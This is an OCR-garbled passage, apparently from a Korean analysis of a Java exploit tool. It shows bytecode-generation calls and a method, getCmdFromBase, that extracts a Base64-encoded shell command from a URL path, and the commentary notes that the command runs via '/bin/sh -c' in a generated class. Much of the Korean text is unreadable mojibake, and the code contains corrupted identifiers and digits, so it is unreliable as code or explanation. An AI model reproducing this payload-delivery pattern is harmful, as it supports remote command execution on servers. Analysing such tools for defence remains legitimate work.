9 mv.visitVarInsn(58, 1);

i mv.visitJumpInsn(167, 18);

a1 mv.visitlabel(13);

i mv.visitFrame(®, 1, new Object[] { this.className }, @, new Object[@]);

a3 mv.visitInsn(6);

AlSHSE A

%6 BHS LYY = A= class M

mjo

K K[SEC

rir
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getCmdFromBase() HIMEE

0] URI O] W S{0 M "7t Qs 2I%|0] +1 POl base6s B EHAIEl 20|
emd 40| HEEICH 0 cmd 4=

base64Decode &0 2|3l C|Z Y E|0] cmd H==0f CHA| X ZHEICH

public static String getCmdFromBase(string base) throws Exception {

int firstIndex = base.lastIndexOF("/");

String cmd = base.substring{firstIndex + 1);

int secondIndex = base.lastIndexdF("/", firstIndex - 1);

if (secondIndex < @)
secondIndex = 8;

if (base.substring{secondIndex + 1, firstIndex).equalsIgnoreCase("basecd”)) {
byte[] bytes = basebdDecodelcmd);
cmd = new Stringibytes);

¥

return cmd;

% 7. Base64 2 AIYE Y E CIZ IS0 cmd H40f XMF

2=, /bin/sh -¢ {FH}Z AN F= Class 2 FH RZ20| getCmdFromBase()lA 2|HEl= cmd 40|
HYUEO 4 class E CHREZE 2F2 H|S A} AH O A HEFO| MEH =L,
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